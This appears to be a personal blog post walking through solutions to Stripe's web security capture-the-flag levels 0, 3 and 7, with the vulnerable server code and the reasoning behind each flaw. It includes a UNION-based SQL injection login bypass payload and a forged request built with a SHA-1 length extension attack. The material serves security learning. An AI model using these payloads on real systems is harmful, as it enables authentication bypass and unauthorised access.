exploit - Dave's Blog

Level 7 of the Stripe CTF involved running a length extension attack on the level 7 server's custom crypto code.

Code

@app.route('/logs/')
@require_authentication
def logs(id): 
    rows = get_logs(id) 
    return render_template('logs.html', logs=rows) 

...

def verify_signature(user_id, sig, raw_params):
    # get secret token for user_id
    try:
        row = g.db.select_one('users', {'id': user_id})
    except db.NotFound:
        raise BadSignature('no such user_id')
    secret = str(row['secret'])

    h = hashlib.sha1()
    h.update(secret + raw_params)
    print 'computed signature', h.hexdigest(), 'for body', repr(raw_params)
    if h.hexdigest() != sig:
        raise BadSignature('signature does not match')
    return True

Issue

The level 7 web app is a web API in which clients submit signed RESTful requests and some actions are restricted to particular clients. The goal is to view the response to one of the restricted actions. The first issue is that there is a logs path to display the previous requests for a user and although the logs path requires the client to be authenticatd, it doesn't restrict the logs you view to be for the user for which you are authenticated. So you can manually change the number in the '/logs/[#]' to '/logs/1' to view the logs for the user ID 1 who can make restricted requests. The level 7 web app can be exploited with replay attacks but you won't find in the logs any of the restricted requests we need to run for our goal. And we can't just modify the requests because they are signed.

However they are signed using their own custom signing code which can be exploited by a length extension attack. All Merkle–Damgård hash algorithms (which includes MD5, and SHA) have the property that if you hash data of the form (secret + data) where data is known and the length but not content of secret is known you can construct the hash for a new message (secret + data + padding + newdata) where newdata is whatever you like and padding is determined using newdata, data, and the length of secret. You can find a sha-padding.py script on VNSecurity blog that will tell you the new hash and padding per the above. With that I produced my new restricted request based on another user's previous request. The original request was the following.

count=10&lat=37.351&user_id=1&long=%2D119.827&waffle=eggo|sig:8dbd9dfa60ef3964b1ee0785a68760af8658048c

count=10&lat=37.351&user_id=1&long=%2D119.827&waffle=eggo%80%02%28&waffle=liege|sig:8dbd9dfa60ef3964b1ee0785a68760af8658048c

Notes

Code review red flags included custom crypto looking code. However I am not a crypto expert and it was difficult for me to find the solution to this level.

Stripe's web security CTF's level 0 and level 3 had SQL injection solutions described below.

Level 0

Code

app.get('/*', function(req, res) {
  var namespace = req.param('namespace');

  if (namespace) {
    var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
    db.all(query, namespace, function(err, secrets) {

Issue

There's no input validation on the namespace parameter and it is injected into the SQL query with no encoding applied. This means you can use the '%' character as the namespace which is the wildcard character matching all secrets.

Notes

Code review red flag was using strings to query the database. Additional levels made this harder to exploit by using an API with objects to construct a query rather than strings and by running a query that only returned a single row, only ran a single command, and didn't just dump out the results of the query to the caller.

Level 3

Code

@app.route('/login', methods=['POST'])
def login():
    username = flask.request.form.get('username')
    password = flask.request.form.get('password')

    if not username:
        return "Must provide username\n"

    if not password:
        return "Must provide password\n"

    conn = sqlite3.connect(os.path.join(data_dir, 'users.db'))
    cursor = conn.cursor()

    query = """SELECT id, password_hash, salt FROM users
               WHERE username = '{0}' LIMIT 1""".format(username)
    cursor.execute(query)

    res = cursor.fetchone()
    if not res:
        return "There's no such user {0}!\n".format(username)
    user_id, password_hash, salt = res

    calculated_hash = hashlib.sha256(password + salt)
    if calculated_hash.hexdigest() != password_hash:
        return "That's not the password for {0}!\n".format(username)

Issue

There's little input validation on username before it is used to constrcut a SQL query. There's no encoding applied when constructing the SQL query string which is used to, given a username, produce the hashed password and the associated salt. Accordingly one can make username a part of a SQL query command which ensures the original select returns nothing and provide a new SELECT via a UNION that returns some literal values for the hash and salt. For instance the following in blue is the query template and the red is the username injected SQL code:

SELECT id, password_hash, salt FROM users WHERE username = 'doesntexist' UNION SELECT id, ('5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8') AS password_hash, ('word') AS salt FROM users WHERE username = 'bob' LIMIT 1

Notes

Code review red flag is again using strings to query the database. Although this level was made more difficult by using an API that returns only a single row and by using the execute method which only runs one command. I was forced to (as a SQL noob) learn the syntax of SELECT in order to figure out UNION and how to return my own literal values.

Stripe is running a web security capture the flag - a series of increasingly difficult web security exploit challenges. I've finished it and had a lot of fun. Working on a web browser I knew the theory of these various web based attacks, but this was my first chance to put theory into practice with:

• No adverse consequences
• Knowledge that there is a fun security exploit to find
• Access to the server side source code

Here's a blog post on the CTF behind the scenes setup which has many impressive features including phantom users that can be XSS/CSRF'ed.

I'll have another post on my difficulties and answers for the CTF levels after the contest is over on Wed, but if you're looking for hints, try out the CTF chatroom or the level specific CTF chatroom.